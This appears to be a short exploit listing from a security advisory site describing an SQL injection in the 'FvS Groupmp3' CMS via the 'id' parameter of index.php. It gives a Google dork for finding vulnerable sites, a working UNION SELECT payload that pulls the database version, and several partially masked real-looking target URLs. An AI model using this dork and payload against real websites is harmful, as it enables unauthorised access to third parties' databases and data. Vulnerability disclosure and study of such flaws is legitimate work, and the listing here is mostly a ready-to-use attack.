FvS Groupmp3 CMS SQL Injection

2012.10.01
Credit: Crim3R
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89
Dork: inurl:/index.php?adi=mp3

# Exploit Title:FvS Groupmp3 cms Sql Injection ~ # Google Dork: inurl:/index.php?adi=mp3 # Date: 09/28/2012 # Author: Crim3R # Vendor Home: # Version: - # Tested on: Linux Redhat ===============[Vuln Codes]============= adi parametr in index.php is injectable D3M0 : mp3.saXX.az/index.php?adi=mp3&id=-1236+union+select+1,2,@@version,4,5,6,7,8,9,10-- mp3.XXXnt.az/index.php?adi=mp3&id=1602 mp3.XXXni.az/index.php?adi=mp3&id=1490 ===============Crim3R@Att.Net=========== Sp TnX : Turkblackhats.com - secure-land.net


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top